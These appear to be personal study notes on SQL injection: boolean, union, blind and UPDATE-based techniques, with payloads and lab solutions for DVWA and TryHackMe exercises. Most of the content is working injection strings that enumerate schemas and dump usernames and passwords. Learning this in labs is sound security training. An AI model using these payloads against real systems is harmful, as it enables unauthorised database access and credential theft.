https://www.security-sleuth.com/sleuth-blog/2017/1/3/sqlmap-cheat-sheet

Boolean based Injection :

• Carried out usually as a blind injection
• Guessing the words with true or false. Ex. (xxxxxxx/sql.php?id=1' or 1<2 —+, xxxxxxx/sql.php?id=1' or 1>2 —+) if the second outputs a message. then we know we have id =1 in the table..
• Once we familar with the pattern of the syntax, it is guessing time.
• 1' AND substr((select database()),1,1)) = s --+

?id=1' AND (ascii(substr((select database()),1,1))) = 115 --;

++++++

?id=1' AND (ascii(substr((select database()),2,1))) < 115 --+

Union-based SQL injection

resources: https://tryhackme.com/room/sqlibasics

Leveraging the UNION SQL operator.

UNION: combing 2 or more SELECT statements into a single result to return

things to determine :

• Number of Columns that exist

  1. ORDER BY —https://www.w3schools.com/sql/sql_orderby.asp
  2. ' UNION SELECT NULL, NULL—

• the columns are in a suitable format.

  1. ' UNION SELECT NULL, a, NULL, NULL—
  2. ' UNION SELECT NULL, NULL, a, NULL—
  3. Once we cofirmed the number of colums, we can test whether the 'string' data type is acceptable in the specific column.

• Attack

  1. once we found the siuteable date type for columns and number of columns, start attack

  ' UNION SELECT NULL,NULL,NULL,NULL,NULL — // , 
  
  

https://stackoverflow.com/questions/3913620/get-all-table-names-of-a-particular-database-by-sql-query

2. Table names since we already figure out the database used by selecting database().

' union SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='sqlitraining' -- //

1 union select null, TABLE_NAME, null,null from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqlitraining'
webeight

3. getting columns names by table names, in this case we want to use table 'users'

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = N'tableName';

'UNION SELECT NULL,NULL,NULL,NULL, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = N'users' -- //

'UNION SELECT NULL, fname, id, username,password from users -- //

DVWA

1' union SELECT NULL,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dvwa' #

' UNION SELECT NULL, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = N'users' #

SQL Injection Blind

1' and IF(length(database())=3, SLEEP(5), "false")-- -

https://www.sisense.com/blog/sql-symbol-cheatsheet/

Brute Force: (bonus)

1' UNION SELECT NULL, NULL,NULL,NULL,NULL, NULL, NULL, NULL # —

1' union SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dvwa' #

' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = N'users' '

1 union SELECT null,table_name,null,null FROM information_schema.tables--

SQL Injection

$query = "SELECT * FROM users WHERE username='" + $_POST["user"] + "' AND password= '" + $_POST["password"]$ + '";"

The safest solution for inline SQL comment is to use --<space><any character> such as -- - because if it is URL-encoded into --%20- it will still be decoded as -- -. For more information, see: https://blog.raw.pm/en/sql-injection-mysql-comment/

TryHackMe | SQL Injection Lab

SQL Injection 1: input Box Non-String

SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID=10 AND password = 'ce5ca67...'

SOLUTION: 1 or 1=1— -

SQL Injection 2: Input Box String

SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID='10' AND password = 'ce5ca67...'
SOLUTION: 1' or '1'='1'-- -

SQL Injection 3 : Javascript Santitaization

function validateform() {
    var profileID = document.inputForm.profileID.value;
    var password = document.inputForm.password.value;

    if (/^[a-zA-Z0-9]*$/.test(profileID) == false || /^[a-zA-Z0-9]*$/.test(password) == false) {
        alert("The input fields cannot contain special characters");
        return false;
    }
    if (profileID == null || password == null) {
        alert("The input fields cannot be empty.");
        return false;
    }
}

SQL Injection 4 : Update

UPDATE <table_name> SET nickName='name', email='email' WHERE <condition>

#MySQL and MSSQL
',nickName=@@version,email='
# For Oracle
',nickName=(SELECT banner FROM v$version),email='
# For SQLite
',nickName=sqlite_version(),email='

subquery to fetch all the tables from database and place them into the nickName field. The subquery is enclosed inside parantheses. The group_concat() function is used to dump all the tables simultaneously.

',nickName=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),email='

The subquery is using the group_concat() function to dump all the information simultaneously, and the || operator is "concatenate" - it joins together the strings of its operands (sqlite.org).

',nickName=(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable'),email='

',nickName=(SELECT group_concat(profileID || "," || name || "," || password || ":") from usertable),email='

Union Based Injection:

• the number of columns in the injected query must be the same as in the orinial query
• the data types for each column must match.

' UNION SELECT 1,group_concat(tbl_name) FROM sqlite_master-- -

' Union select 1, group_concat(sql) from sqlite_master where name='users'-- -

' union select 1, group_concat(password) from users-- -

Blind Injection:

guessing game.

SQLite:

SELECT password FROM users LIMIT 0,1    #THM{123123}
SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) #"T"
CAST(X'54' as Text)

#test out the password length
admin' AND length((SELECT password from users where username='admin'))==37-- -

#brute force guessing time.

admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = CAST(X'54' as Text)-- -

Vulnerable Notes

Parameterized Queries

INSERT INTO notes (username, title, note) VALUES (?, ?, ?)

SELECT title, note FROM notes WHERE username = '" + username + "'

Update Concatenates the username directly into the SQL query.

Placeholder for the password parameter.

UPDATE users SET password = ? WHERE username = '" + username + "'
#register 
admin' -- -

SELECT username, password FROM users WHERE id = ?
SELECT username, password FROM users WHERE id = 'admin' -- - '

Book title